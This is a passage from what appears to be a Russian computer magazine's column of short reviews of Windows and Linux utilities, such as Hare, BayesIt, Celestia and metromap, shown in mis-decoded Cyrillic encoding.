îáåñïå÷åíèå. Äðóãîå äåëî � â áóõãàëòåðñêîì ñîôòå, äàæå ñàìîì
ïðîñòåíüêîì, áåç ïîë-ëèòðà è òàêîé-òî ìàòåðè â æèçíè íå ðàçîá-
ðàòüñÿ. Îäíàêî â Keepsoft ñóìåëè íàéòè î÷åíü òîíêóþ ãðàíü ìåæäó
ïîëíîôóíêöèîíàëüíîñòüþ, ïðîñòîòîé ðàáîòû è ãèáêîñòüþ. Íà âûõî-
äå èìååì óäîáíûé èíñòðóìåíò äëÿ âåäåíèÿ ôèíàíñîâ. Øòóêà ïî-
ëåçíàÿ, ãîâîðþ êàê þíûé áóõãàëòåð ñ äâóõãîäè÷íûì ñòàæåì :). Íå
æåëàþùèå ñõîäó âûâàëèòü 300 êðîâíûõ ðóáëåé ðàäè ñîáñòâåííîãî
áóäóùåãî ôèíàíñîâîãî áëàãîïîëó÷èÿ, ìîãóò çàéòè íà ñàéò ïðîãðàì-
ìû è êà÷íóòü áåñïëàòíóþ 30-òè äíåâíóþ âåðñèþ ïðîãðàììû. Ýòà[X
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âåðñèÿ ïðåäñòàâëÿåò
ñîáîé ïîëíîôóíêöèî-
íàëüíóþ ïðîãðàììó.
Åäèíñòâåííûì îòëè-
÷èåì îò çàðåãèñòðè-
ðîâàííîé êîïèè ÿâëÿ-
åòñÿ åå îãðàíè÷åííîå
âðåìÿ äåéñòâèÿ. À âîò
«õèìè÷èòü» ñ ïîèñêîì
àëüòåðíàòèâíûõ ðåãè-
ñòðàöèé è «ëåêàðñòâ»
ÿ ëè÷íî â ýòîì ñëó÷àå
íå ñòàë áû: ïðîôóêàòü
ñâîþ ôèíàíñîâóþ èñòîðèþ � ýòî î÷åíü îáèäíî è íåïðàâèëüíî.
Âíèìàíèþ æàäèí ïðîãà ïðåäëàãàåò: ó÷åò ðàñõîäîâ è äîõîäîâ,
äîëãîâ, êðåäèòîâ è ïðîöåíòîâ ïî íèì, ïëàíèðîâàíèå òðàò, ìíîãî-
âàëþòíîñòü è îáìåí âàëþò, îáíîâëåíèå êóðñîâ âàëþò â èíòåðíå-
òå, ôèëüòðû è ïîèñê ïî âíóòðåííåé áàçå äàííûõ, ýêñïîðò äàííûõ
â êó÷ó ðàçíûõ ôîðìàòîâ è ïðîãðàìì, íàñòðîéêà èíòåðôåéñà, áý-
êàï äàííûõ, è ñàìîå èíòåðåñíîå � âñÿ÷åñêèå íàãëÿäíûå ãðàôè-
êè ðàñõîäîâ è äîõîäîâ.

Hare 1.5.1
Windows 95/98/Me/NT/2000/XP
Size: 1,41 Ìá
Shareware � $24-$32
www.dachshundsoftware.com/index.html

Íà ñàéòå ïðîãðàììû
âñÿêèé òóäà çàøåäøèé
ñìîæåò âû÷èòàòü, ÷òî
ïðîãðàììà Hare 1.5.1
ìîæåò óâåëè÷èòü áûñò-
ðîäåéñòâèå íåêîåãî
êîìïüþòåðà íà 300%.
È ýòî ÷èñòàÿ ïðàâäà.
Âåäü «ìîæåò» � ýòî æå
íå çíà÷èò, ÷òî áûñòðî-
äåéñòâèå äåéñòâèòåëü-
íî óâåëè÷èòñÿ. Óâèäåâ
òàêîå ãðîìêîå çàÿâëå-
íèå, ïðîãðàììó ÿ êà÷-
íóë, ðåøèâ, ÷òî ïîñëå
ïðîâåðêè íà âøèâîñòü
ýòîò ïðîãðàììíûé óñêîðèòåëü ìîæåò è íå îòïðàâèòüñÿ â òðåø. Èòàê,
îïåðåæàÿ âñå, ðàññêàæó, ÷òî Hare 1.5.1 äåéñòâèòåëüíî óìååò â ðÿäå
ñëó÷àåâ ïðèíîñèòü â òåñòû áûñòðîäåéñòâèÿ 15�40% äîïîëíèòåëü-
íûõ ïîïóãàåâ. Ïðîãðàììà äîâîëüíî ëîâêî îïòèìèçèðóåò ðàáîòó öåíò-
ðàëüíîãî ïðîöåññîðà è ðàáîòó ïðèëîæåíèé, çà÷èùàåò è îïòèìèçèðó-
åò ðååñòð, êîå-ãäå óñêîðÿåò 2D è 3D-âèäåî, èìååò íåñêîëüêî ïðîäó-
ìàííûõ ðàçðàáîò÷èêîì «ïðîôèëåé» äëÿ æåëàþùèõ. Îñîáåííî îùó-
òèìû ðåçóëüòàòû äåÿòåëüíîñòè ïðîãðàììû ïðè ðàáîòå ñ ãðàôèêîé-
öèôðîôîòî è âî âðåìÿ èãðû â íåíàïðÿæíûå èãðóøêè. Îòäåëüíî óïî-
ìÿíó ïðî Mem Doubler � ðàáîòíèêà ïî çà÷èñòêå çàãàæåííîé âñÿêèìè
õâîñòàìè îïåðàòèâêè êîìïüþòåðà. Èíîé ðàç áåç ýòîãî ñîâñåì íå
îáîéòèñü. Ïðèÿòíî óäèâèëñÿ, çàìåòèâ, ÷òî ïåðåõîä ìàøèíû â ðåæè-
ìû Hibernate è Suspend ñòàë áîëåå áîäðûì. 

BayesIt!
Windows 95/98/98SE/NT4.0/2000/XP 
Size: âàðüèðóåòñÿ, íî ïðèìåðíî 200 Êá
Freeware
www.ritlabs.com/ru/the_bat

Íó, è â êà÷åñòâå ïîñëåäíåãî íîìåðà ïðîãðàììíîé ñàìîäåÿòåëüíîñ-
òè, ïîêàæó âñåì æåëàþùèì íåñëîæíûé ôîêóñ, ïîçâîëÿþùèé ñäå-
ëàòü ñâîþ èíòåðíåò-æèçíü íåñêîëüêî ñïîêîéíåå è âåñåëåå. Òî÷íåå
ãîâîðÿ, ðå÷ü ïîéäåò îá èçáàâëåíèè îò ñïàìà. Ðàññêàçûâàòü, ÷òî òà-
êîå ñïàì è ÷òî òàêîå ïî÷òîâûé êëèåíò TheBat! ñ÷èòàþ ñîâåðøåííî
èçëèøíèì, îäíàêî áûë ÿ òóò íåäàâíî áîëåå ÷åì ñèëüíî óäèâëåí, óç-
íàâ, ÷òî äàëåêî íå âñå, õîòÿ áû êðàåì óõà ñëûøàëè ïðî òàêóþ «ïðè-
ëàäó» ê «Áàòå», êîòîðàÿ íàçûâàåòñÿ «àíòèñïàììåðñêèì ôèëüòðîì
BayesIt!». Ïîäðîáíî î ðàáîòå ôèëüòðà ÷èòàòü âîò çäåñü: http://klirik.narod.ru/
usefuls/bayesit.htm. Âêðàòöå: ïëàãèí÷èê BayesIt! äåéñòâèòåëüíî íà-
äåæíî çàùèùàåò îò ãîð ñïàìà, âûñûïàþùåãîñÿ â ìîé ðàáî÷èé ïî÷-
òîâûé ÿùèê, èñïîëüçóÿ ñòàòèñòè÷åñêóþ ôèëüòðàöèþ ïî ìåòîäó òî-
âàðèùà Áàéåñà. Ôèëüòð âõîäèò â ñòàíäàðòíûé êîìïëåêò ïîñòàâêè

TheBat! 3.0. Ïîñëå óñ-
òàíîâêè è íåñëîæíîé
àêòèâàöèè ïðîãðàì-
ìû, ôèëüòð áóäåò ñòà-
ðàòåëüíî ïðèñâàèâàòü
ðåéòèíãè âõîäÿùèì
ïèñüìàì. Åñòü «÷åð-
íûå» è «áåëûå» ñïèñ-
êè. Âêëþ÷èâ ïàðà-
ìåòð «delete a mes-
sage to the Junk folder
if the score is greater
then» ìîæíî îæèäàòü,

÷òî ïðè óêàçàííîé âåëè÷èíå, ïèñüìî áóäåò óäàëåíî ñ ñåðâåðà áåç
çàêà÷êè â ëîêàëüíóþ ïî÷òîâóþ áàçó. Íî ñàìîå ãëàâíîå � ýòî íàó-
÷èòü ôèëüòð îòäåëÿòü õîðîøèå ïèñüìà îò ïëîõèõ. Äëÿ ýòîãî íàäî
îòäàòü êîìàíäó ôèëüòðó ïðîñêàíèðîâàòü ïàïêè ñ êîððåñïîíäåíöè-
åé, ãäå åñòü è íóæíûå ïèñüìà, è âåçäåñóùèé ñïàì. Íåñêîëüêî òàêèõ
ëåêöèé � è ìîé ôèëüòð íà÷àë óâåðåííî îòôèëüòðîâûâàòü âñÿêèé
èíôîðìàöèîííûé ìóñîð, ñâàëèâàÿ åãî â ñïåöèàëüíî îáîðóäîâàí-
íóþ ïîìîéêó è íå ìåøàÿ ìíå ñïîêîéíî ðàáîòàòü, â òîì ÷èñëå è íàä
ñîáîé. À ñïàììåðîâ ìû âñå-òàêè íàó÷èì àëáàíñêîìó!
P.S. Íó è åùå, ÷òîáû äâà ðàçà íå âñòàâàòü,  ðàññêàæó, êàê ÿ çà-
áîðîë ñïàììåðîâ â ICQ. Ïîçíàêîìèëñÿ ÿ ïîä âèäîì ïîêóïàòåëÿ
î÷åðåäíîé ìàññîâîé ðàññûëêè ñ îäíèì î÷åíü àêòèâíûì ñïàììå-
ðîì è âûâåäàë ó íåãî, ÷òî âñå ñïèñêè ñ íîìåðàìè àñåê äëÿ èõ
ãðÿçíûõ ðàññûëîê ôîðìèðóþòñÿ èñõîäÿ èç ïîíÿòèÿ «öåëåâàÿ àó-
äèòîðèÿ». Ñïàììåðû ó÷èòûâàþò ìíîæåñòâî ïàðàìåòðîâ � ïîë,
âîçðàñò, õîááè, íî ïåðâîå, íà ÷òî îíè îáðàùàþò âíèìàíèå, �
ýòî ñòðàíà ïðîæèâàíèÿ è ÿçûêè. Âåäü ãëóïî æå ïîñûëàòü èíäó-
ñó, ãîâîðÿùåìó íà ãîëëàíäñêîì, ðåêëàìíûå ñîîáùåíèÿ íà ðóñ-
ñêîì ÿçûêå? Ïîòîìó â ñâîèõ àñå÷íûõ äåòàëÿõ ÿ íåìåäëåííî ïðî-
ïèñàë Senegal è Great Bay City è «çàáûë» óêàçàòü ðóññêèé ÿçûê
â êà÷åñòâå çíàêîìîãî. Ñðàçó æå ïîñëå ýòîãî ÿ çàáûë î ñïàììå-
ðàõ, òî è äåëî ñëàâøèõ ìíå âñÿêîå. Òàê ÷òî äåëàé, êàê ÿ, � ïå-
ðåñåëÿéñÿ â Ñåíåãàë :).

Automotive Wolf 4.49
Windows 95/98/Me/2K/XP/2003
Shareware 
Size: 6894 Kb
www.lonewolf-software.com

Ìíå âñåãäà õîòåëîñü áûòü êðóòûì âîëêîì àâòîëþáèòåëüñòâà,
ñêàëèòü êëûêè íà ëþáûå ïðîáëåìû è çíàòü âñåãäà ïðàâèëüíîå
ðåøåíèå. Î÷åâèäíî, â äåòñòâå áûëî ïîãëîùåíî ìàëî êàëüöèÿ,
òàê ÷òî íàäëåæàùåé êðåïîñòè êëûêîâ íå âûøëî. Ìíå è ïîäîá-
íûì îáäåëåííûì ïðèãîòîâèëè ñïåöèàëüíûé ñîôò, êîòîðûé îáå-
ùàåò ïðåâðàòèòü ëþáîãî ëóçåðà â àâòîìîáèëüíîãî ìîíñòðà.
Çäåñü ïðåäñòàâëåí óäîáíûé äíåâíèê àâòîìîáèëèñòà, êîòîðûé
ïîìîæåò ãðàìîòíî ðàñïëàíèðîâàòü âñå íóæíûå ïðîöåäóðû è
ðåìîíò òâîåãî ÷åòûðåõêîëåñíîãî äðóãà. Óâû, äàííàÿ ñîôòèíà
íå çíàêîìà ñ ÷óäåñàìè îòå÷åñòâåííîãî àâòîïðîìà è èõ ñïåöè-
ôè÷åñêèìè ïðèõîòëèâîñòÿìè. Îäíàêî ïðîãà îáëàäàåò íåïëîõîé
áàçîé èíîìàðîê, ïî òåìå êîòîðûõ âûäàñò äåñÿòêè áåñöåííûõ
ñîâåòîâ. Ïðîãà äîâîëüíî ðåäêàÿ, òàê ÷òî êðÿêîâ-âèòàìèíîâ â
Ñåòè íå ðàçûñêàòü. 
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eSizeIt 1.2
Windows 2K/XP (íóæåí .Net)
Shareware
Size: 774 Kb
www.frogtools.com/esizeit

Â ìîþ áûòíîñòü âåäó-
ùåãî ðóáðèêè FAQ îä-
íèì èç íàèáîëåå ãîðÿ-
÷èõ âîïðîñîâ áûë «Êàê
óìåíüøèòü ðàçìåð êàð-
òèíîê?». Íå õî÷ó ïîêó-
øàòüñÿ íà õëåá íû-
íåøíåãî âåäóùåãî �
Step'a, íî îïèñàíèåì
íîâîé ïðîãè ñíîâà îò-
âå÷ó íà íàáîëåâøèé
âîïðîñ. Ñàìûì ïðîñ-
òûì ðåøåíèåì êàçàë-
ñÿ Microsoft Image Resizer, êîòîðûé äðóæèò ñ WinXP è äîñòóïåí ôðèø-
íî â PowerPack'e îò MS. Îäíàêî äåòèùå MS îêàçûâàåòñÿ íå ñîâñåì
äðóæíî ñ êîìïîíåíòàìè Photoshop, òàê ÷òî ôóíêöèÿ èçìåíåíèÿ êà÷å-
ñòâà è ðàçðåøåíèÿ èçîáðàæåíèé ñòàíîâèòñÿ íåðàáî÷åé ïîñëå óñòàíîâ-
êè Adobe-ïðîäóêòà. Ïðåäëàãàåìûé æå çäåñü îáðàçåö âïîëíå ñïîñîáåí
íà ìèðíîå ñîæèòåëüñòâî ñ ôîòîøîïîì. Ïðèÿòíîé îòëè÷èòåëüíîé îñî-
áåííîñòüþ îñòàåòñÿ âîçìîæíîñòü âûñòàâèòü æåëàííîå êà÷åñòâî êàð-
òèíêè. Âñå ýòî òîò æå MS Resizer íå óìåë âîâñå! 

SMS Reception Center 1.15 
Windows 95/98/Me/2K/XP/2003
Shareware 
Size: 1326 Kb
www.sw4me.com

Ñëîæíî íàéòè ëè÷íîñòü, áîëåå
ñêëîííóþ ê ìàíèïóëèðîâàíèþ,
÷åì àäìèíèñòðàòîð. Òåáå íå
òîëüêî õî÷åòñÿ êðóòèòü è âåðòåòü
ñèñòåìîé, ñèäÿ ïåðåä ìîíèòîðîì,
íî è â ëþáîé äðóãîé êîìôîðòíûé
äëÿ òåáÿ ìîìåíò. Ñ ïîìîùüþ
SMS Reception Cenetr'a òû ñìî-
æåøü ðóëèòü ñèñòåìîé, ïðîñòî
ïîñûëàÿ ÑÌÑêè. Ïîëó÷èâ òâîþ

ìåññó, ñèñòåìà ñóìååò çàëóïèòü íåîáõîäèìîå ïî òåìå SQL, ðàçîñëàòü
SM'û, âûáðîñèòü àäåêâàòíûé pop-up èëè ïîïîëíèòü ëîã-ôàéë â ñîîò-
âåòñòâèè ñ çàäàííûìè ïðàâèëàìè. Ìîæíî íàñòðîèòü ïðîãó òàê, ÷òî
îíà áóäåò èìåòü ïî îòäåëüíîìó ñöåíàðèþ äëÿ êàæäîãî îòïðàâèòåëÿ
SMS, òàê ÷òî äàæå â äàííîì ñêâîçü-àíàëüíîì àäìèíèñòðèðîâàíèè òû
ñîõðàíèøü æåëàííóþ èåðàðõèþ. Ñîôò ìîæíî ïîñòàâèòü êàê îáû÷íîå
tray-ïðèëîæåíèå, òàê è íàñòðîèòü â êà÷åñòâå ñåðâèñà Âèíäû. 

Flash Movie Extractor Scout 1.95
Windows 95/98/Me/2K/XP/2003
Shareware 
Size: 1326 Kb
http://bytescout.com

Ñåé÷àñ ëåòî, è îôèñ
âÿòñÿ îñîáåííî íåâû-
íîñèìû. Øàíñû ñòàòü
ìàðèíîâàííûì îãóð-
öîì çàìåòíî ïîâûøà-
þòñÿ. Ïîýòîìó ëåòîì
ðàáîòíèêè îñîáåííî
÷àñòî ïåðåáðàñûâà-
þòñÿ ëèíêàìè íà âñÿ-
êèå çàíÿòíûå ôëåø-
ìóëüòû. Òàê è õî÷åòñÿ
ïîðîé çàïèñàòü ôëåø-
êó íà USB-ôëåøêó è
ïîñëå ðàáîòû ïîêà-
çàòü äîìàøíèì. Àí-íåò, ñòàíäàðòíûå ñðåäñòâà áîëüøèíñòâà áðàóçå-
ðîâ ýòîãî íå ïîçâîëÿþò âîâñå! Çäåñü ïîìîãàåò ðàññìàòðèâàåìûé
ïëàãèí, êîòîðûé ñëîæèò âñå ïðîñìàòðèâàåìîå äîáðî â ôàéë ôîðìà-
òà swf. Ñîõðàíåííîå ìîæíî áóäåò áåç òðóäà ïåðåâåñòè â èñïîëíÿå-
ìûå exe'øíèêè. Òàêæå ìîæíî ïðîñòî ñíèìàòü ñêðèíû ñ ïðîñìàòðèâà-

åìûõ ðîëèêîâ. Ñàìîé æå êðóòîé îïöèåé ìíå ïîêàçàëàñü òà, ÷òî ïîç-
âîëèò ïîñòàâèòü ëþáóþ ôëåøêó â êà÷åñòâå îáîåâ ðàáî÷åãî ñòîëà.
Ñòîèò îòìåòèòü, ÷òî ïîìèìî ñòàíäàðòíîãî IE ñîôò î÷åíü äðóæåí ñ
Mozilla Firefox è Opera'îé. 

FeedEditor 1.5
Windows 95/98/Me/2K/XP/2003
Shareware 
Size: 1700 Kb
www.extralabs.com

Ñàìàÿ ìîäíàÿ òåõíîëîãèÿ ïîñëåä-
íåãî âðåìåíè � RSS. Òåìïû ðîñòà
ïîäïèñêè íà íîâîñòíûå feed'û â äå-
ñÿòêè ðàç îïåðåæàþò íàðàùèâàíèå
÷èòàòåëüñêîé áàçû áóìàæíûõ ãà-
çåò è æóðíàëîâ. Ìíîãèì õî÷åòñÿ
ñîçäàòü ñâîþ RSS-êîðìóøêó.
Ñîçäàòü � åùå ïîëáåäû, íî ðåäàê-
òèðîâàòü� Ñ íåðàäèâûì XML íà

5+ ñïðàâëÿåòñÿ FeedEditor. Îí óìååò ñîçäàâàòü feed'û â ðàçíûõ äîñòóï-
íûõ ôîðìàòàõ. Çäåñü òàêæå ïîä ðóêîé èìååòñÿ ïðîñòîé ãðàôè÷åñêèé ðå-
äàêòîð, à äëÿ ëîêàëüùèêîâ è èñêàòåëåé àíîíèìíîñòè � ïîääåðæêà ðà-
áîòû ñ ïðîêñÿìè. Ñ ïîäîáíîé ïðîñòîé ñîôòèíîé òû ïîíèìàåøü, ÷òî îñ-
òàâàòüñÿ â ñòîðîíå îò ïðîãðåññà   � ïðîñòî íåïðîñòèòåëüíî :). 

Strok .9.5
Windows 95/98/Me/2K/XP/2003
Freeware 
Size: 105 Kb
www.tcbmi.com

Â áîðüáå ñ ëèøíèì âåñîì ÿ îáçà-
âåëñÿ äèêî ñëèìîâûì íîóòîì.
Ãëàçà áûñòðî ïðèâûêëè ê ìàëåíü-
êîìó ýêðàíó, íî ïóõëûå ïàëüöû
íàïðî÷ü îòêàçàëèñü îò ðàáîòû ñ
êàðëèêîâîé êëàâèàòóðîé! Ïèñà-
òåëüñêàÿ äèåòà, áåçóñëîâíî, ïî-
ëåçíà äëÿ ìîçãà, íî ñâûêíóòüñÿ ñ
îòêàçîì îò ëþáèìûõ Hot key'åâ íà
êëàâèàòóðå � íå áûëî íèêàêîé
âîçìîæíîñòè! Òóò ïðèøåë íà ïî-
ìîùü StrokeIt, êîòîðûé ïîìîã çà-

ìåíèòü âñå êëàâèàòóðíûå êëþ÷è íà ìûøå÷íûå. Ñòàëî äîñòàòî÷íî îä-
íîãî äâèæåíèÿ ìûøè, ÷òîáû âñå çàêðóòèëîñü è çàâåðòåëîñü. Êîíå÷íî,
òåáå ïðèäåòñÿ ïðîÿâèòü íå äþæóþ ñîîáðàçèòåëüíîñòü, ïûòàÿñü íàéòè
ðàçíèöó ìåæäó ìûøèíûì äâèæåíèåì «ââåðõ-âíèç-âëåâî» è «âïðàâî-
âïðàâî-ââåðõ». Îäíàêî, íàéäÿ èñêîìîå, òû äîñòèãíåøü íîâîãî óðîâíÿ
êîíòðîëÿ íàä ñâîèì ïîäîïå÷íûì êîìïîì. 

UsenetJunkie 3.5.0
Windows 95/98/Me/2K/XP/2003
Freeware 
Size: 400 Kb
www.usenetjunkie.com

Ïóòè ïîèñêà íåèñïîâåäèìû �
Google, e-Donkey, IRC (÷åðåç
packetnews.com, êàê âîäèòñÿ).
Ïîòîì ïðèõîäÿò âñÿêèå íåçäîðî-
âûå ìûñëè, âðîäå ïîêóïêè/ïîä-
ïèñêè íà àðõèâû íîâîñòåé è ãðà-
ôèêè. ×òîáû íå âîçíèêàëî ïî-
äîáíûõ ðàçîðèòåëüíûõ èäåé, íà
ñöåíå ïîÿâëÿåòñÿ íîâîå ðåøå-

íèå ïðîáëåìû èñêàòåëÿ � Usenet Junkie, êîòîðûé ïåðåëîïàòèò äëÿ
òåáÿ òûñÿ÷è usenet-êîíôåðåíöèé, ÷òîáû íàðûòü íåîáõîäèìîå. Ìíå
ñëîæíî ïðåäñòàâèòü ïîäîáíóþ ïðîöåäóðó, ïðîâîäèìóþ âðó÷íóþ.
Äàæå çíàÿ ëèíêè íà êîíôû, öåëîñòíî ïîñâÿùåííûå òâîåé ïðîáëå-
ìå, ìîæíî ïîòðàòèòü ñóòêè, äîáûâàÿ íóæíûé ïîñò è êîììåíòû. Ïî-
ìèìî ïîèñêà «â ðåàëüíîì âðåìåíè», ïðîãðàììà óìååò ìîíèòîðèòü
çàäàííóþ êîìáèíàöèþ, âûáðàñûâàÿ ðåçóëüòàòû ïî õîäó èõ ïîÿâëå-
íèÿ â Ñåòè. Êàê è âñÿêèé öåííûé, íî áåñïëàòíûé ñîôò, äàííûé ïðî-
äóêò èìååò òåíäåíöèþ ïåðåãðóçêè þçåðà ðåêëàìîé. Åñëè ïðîãà íå
ïðîêàòèò, ñòîèò ïîïðîáîâàòü NewsLeecher, êîòîðûé îáëàäàåò ñõî-
æèìè ôóíêöèÿìè è ïðèÿòíåå òðåáîâàòåëüíîìó ãëàçó.[X
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Celestia v 1.3.2
Linux, Mac OS X, Windows
Size (â .gz): 17667 ÊÁ*
www.shatters.net/celestia
Ëèöåíçèÿ: GNU GPL

Celestia � òðåõìåð-
íûé ñèìóëÿòîð êîñìî-
ñà ñ èíòåðôåéñàìè
GLUT è GTK+ (ïîä-
äåðæèâàþòñÿ ðàñøè-
ðåíèÿ äëÿ GNOME è
KDE). Àâòîðû ïðîåêòà
íå ñòàëè óäåëÿòü îñî-
áîå âíèìàíèå ëàíä-
øàôòàì ïëàíåò (õîòÿ
íà Çåìëå îáîçíà÷åíû
îñíîâíûå äåòàëè è
êðóïíûå ãîðîäà), à

ñîñðåäîòî÷èëè óñèëèÿ íà îáùåé êàðòèíå êîñìè÷åñêîãî ïðîñòðàíñòâà.
Ñèñòåìà íàâèãàöèè íå îãðàíè÷èâàåòñÿ òðèâèàëüíûì ïîëåòîì ñ êîððåê-
òèðóåìîé â ðåàëüíîì âðåìåíè ñêîðîñòüþ (íàæàòèåì êëàâèø) � ïðè÷åì
îò ïðèâû÷íîé ñêðîìíîé, èçìåðÿåìîé â ì/ñ, äî ïî-íàñòîÿùåìó àñòðîíî-
ìè÷åñêîé, ïîçâîëÿþùåé çà ìãíîâåíüå ïðîíîñèòüñÿ ñêâîçü ìàëîå Ìàãåë-
ëàíîâî îáëàêî. Îðèåíòèðîâàòüñÿ ïîìîæåò, íàïðèìåð, çâåçäíûé áðàó-
çåð, îòîáðàæàþùèé ñïèñîê áëèæàéøèõ/êðóïíåéøèõ/ÿð÷àéøèõ çâåçä (è
ïëàíåò), ê ëþáîé èç êîòîðûõ ïðèëàãàåòñÿ êíîïêà Go to äëÿ àâòîìàòè÷åñ-
êîãî «ïóòåøåñòâèÿ» (ñïèñîê, åñòåñòâåííî, ïîñòîÿííî îáíîâëÿåòñÿ â çà-
âèñèìîñòè îò ïåðåìåùåíèé). Àíàëîãè÷íî ñëåäîâàòü çà êàêèì-ëèáî îáú-
åêòîì ìîæíî è âèçóàëüíî: êëèêíóâ ïî íåìó ìûøêîé (ëèáî óêàçàâ íàçâà-
íèå/êîîðäèíàòíîå ìåñòîïîëîæåíèå â ñïåöèàëüíîì îêíå) è âûïîëíèâ
Following. Äëÿ óäîáñòâà âñåãäà ïî íàæàòèþ h áóäåò âûáðàí îáúåêò Ñîëí-
öå, ÷òî ñóùåñòâåííî îáëåã÷àåò îïðåäåëåíèå ñâîåãî ïîëîæåíèå âî Âñå-
ëåííîé. «Ïîèãðàòü» ðàçðåøàåòñÿ è ñî âðåìåíåì: óñêîðåíèå/çàìåäëåíèå
åãî òåìïîâ, ïîâîðà÷èâàíèå âñïÿòü, óñòàíîâêà ïðîèçâîëüíîé äàòû, ïàó-
çà. Êîíôèãóðèðîâàíèþ ïîäëåæàò âèäèìûå â ïðîñòðàíñòâå îáúåêòû:
ïëàíåòû, îðáèòû, çâåçäû, ãàëàêòèêè, àòìîñôåðû, îáëàêà è äð.; íàäïèñè
ê ïëàíåòàì, çâåçäàì, ñîçâåçäèÿì, ãàëàêòèêàì, êîìåòàì, àñòåðîèäàì è
äð. Êîëè÷åñòâî îòîáðàæàåìûõ â äàííûé ìîìåíò çâåçä òàêæå íàñòðàèâà-
åìî, à îáùåå èõ ÷èñëî äëÿ òåóùåãî ðåëèçà ñîñòàâëÿåò 112524. Äëÿ ïåð-
âîãî çíàêîìñòâà ñ Celestia ìîæíî âêëþ÷èòü äåìîíñòðàöèîííûé ðåæèì
(êîìïüþòåð ñàì ïîêàçûâàåò íåáîëüøîå ïóòåøåñòâèå).
* Àðõèâ ñ èñõîäíèêàìè äëÿ Linux.

Sven v 0.4.1
Linux, *BSD
Size (â .bz2): 417 ÊÁ
http://sven.linux.kiev.ua
Ëèöåíçèÿ: GNU GPL

Èçíà÷àëüíî ïðîåêò Sven çàäóìûâàëñÿ êàê ïðîãðàììà (ñ èíòåðôåé-
ñîì GTK+) äëÿ íàñòðîéêè äîïîëíèòåëüíûõ êëàâèø íà ìóëüòèìåäèé-
íîé êëàâèàòóðå. Îäíàêî íà ýòîì ðàçðàáîò÷èêè ðåøèëè íå îñòàíàâ-

ëèâàòüñÿ, òàê ÷òî óæå ñåé÷àñ
Sven ìîæåò ïðèìåíÿòüñÿ è ñ
âïîëíå îáû÷íûìè êëàâèàòóðàìè,
è ñ ìûøêàìè. Ñ åå ïîìîùüþ îñó-
ùåñòâëÿåòñÿ ïðèâÿçêà êàêèõ-ëè-
áî êëàâèø, èõ ñî÷åòàíèé, êëèêîâ
ìûøêè (è ïðîêðóòêè ñêðîëëà) ê
çàäàííîìó äåéñòâèþ. Ïîä ïîñ-
ëåäíèì ïîíèìàåòñÿ âûïîëíåíèå
ëþáîé êîíñîëüíîé êîìàíäû, ëèáî
èñïîëüçîâàíèå îäíîé èç ïðåäëî-
æåííûõ âñòðîåííûõ îïåðàöèé,
ñðåäè êîòîðûõ: óïðàâëåíèå óñò-
ðîéñòâîì /dev/mixer (ãðîìêîñòü, áàñû, ìèêðîôîí è ò.ï.), óïðàâëåíèå
àóäèîäèñêîì (âîñïðîèçâåäåíèå, ïàóçà, îñòàíîâêà, ñëåäóþùèé/ïðå-
äûäóùèé òðåê), óïðàâëåíèå áóôåðîì, îòîáðàæåíèå òåêóùåãî âðå-
ìåíè. Ê êàæäîìó ñîáûòèþ äîáàâëÿþò îïèñàíèå è îòîáðàæàåìûé
ïðè âûçîâå òåêñò, âèä (øðèôò, öâåò, âðåìÿ äåìîíñòðàöèè) è ìåñòî-
ïîëîæåíèå (÷àñòü ýêðàíà è ñäâèã), êîòîðîãî íàñòðàèâàåòñÿ. Ýòî
î÷åíü óäîáíî ïðè ðåãóëèðîâêè ãðîìêîñòè: â òàêîì ñëó÷àå ïîêàçûâà-
åòñÿ òåêóùèé óðîâåíü (â ïðîöåíòàõ) è ïðèâû÷íàÿ ïîëîñà ñ îòìåòêà-
ìè. Ïðèñóòñòâóåò âîçìîæíîñòü ïîäêëþ÷åíèÿ ïëàãèíîâ (ïî óìîë÷à-
íèþ óñòàíàâëèâàåòñÿ ìîäóëü ñî âðåìåíåì), îäíàêî ïîêà èõ ÷èñëî
êðàéíå ñêðîìíî.

metromap v 0.0.9
POSIX (*BSD, Linux, Solaris...)
Size (â .bz): 831 ÊÁ
http://metromap.antex.ru
Ëèöåíçèÿ: GNU GPL

Óæ î÷åíü äàâíî ìíîãî÷èñëåííûå Windows-ïîëüçîâàòåëè ðàññêàçû-
âàëè ìíå ïðî ÷óäî-ïðîãðàììû, ïîçâîëÿþùèå íàõîäèòü îïòèìàëü-
íûå ïî âðåìåíè ïóòè ïðîåçäà îò ëþáîé ñòàíöèè ìåòðîïîëèòåíà äî
äðóãîé. Linux-àëüòåðíàòèâ ýòèõ ðåøåíèé íèêîãäà íå èñêàë, íî è äî
íåäàâíåãî âðåìåíè íå «íàòûêàëñÿ», è âîò îíà: metromap � ïðîñ-
òàÿ, áûñòðàÿ â ðàáîòå, è íàïèñàííàÿ íàøèì ñîîòå÷åñòâåííèêîì íà
Python (ñ èñïîëüçîâàíèåì pygtk+2). Ñðåäè êàðò, âêëþ÷åííûõ â ñòàí-
äàðòíûé àðõèâ ñ metromap, ñõåìû ìåòðî Ìîñêâû, Ïåòåðáóðãà, Êèåâà,
Ëîíäîíà è Áåðëèíà. Â êà÷åñòâå îñíîâû äëÿ ñõåì áûëè âçÿòû ðàçðàáîò-

êè äðóãîãî ðîññèéñêî-
ãî ïðîåêòà � pMetro
(àíàëîãè÷íàÿ ïðîã-
ðàììà äëÿ Windows).
Ýòà ñîâìåñòèìîñòü
îáåñïå÷èâàåò äîñòà-
òî÷íî øèðîêèé äèàïî-
çîí äîñòóïíûõ ñõåì
(ïðåäñòàâëåíû êàê
ãîðîäà Ðîññèè è ÑÍÃ,
òàê è «äàëüíåãî çà-
ðóáåæüÿ») è îïåðà-
òèâíîñòü èõ ïîïîëíå-
íèÿ/îáíîâëåíèÿ. Ïîñ- [X
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ëå âûáîðà ñòàíöèè îòïðàâëåíèÿ è ïóíêòà íàçíà÷åíèÿ, ïðîãðàì-
ìà âûáèðàåò íàèáîëåå áûñòðûå ñïîñîáû ïðîåçäà, ïåðå÷èñëÿÿ
èõ â ñïèñêå, è âèçóàëüíî âûäåëÿÿ âûáðàííûé. Ïðåäóñìîòðåíû
äíåâíîé è íî÷íîé ðåæèìû, â çàâèñèìîñòè îò êîòîðûõ ïî-ðàçíî-
ìó ðàññ÷èòûâàåòñÿ âðåìÿ.

Raggle v 0.4.1
POSIX, Windows
Size (â .gz): 261 ÊÁ
www.raggle.org
Ëèöåíçèÿ: MIT/X, BSD

Raggle � êîíñîëüíûé
RSS-àãðåãàòîð, íàïè-
ñàííûé íà Ruby ñ èñ-
ïîëüçîâàíèåì áèáëè-
îòåêè ncurses. Èíòåð-
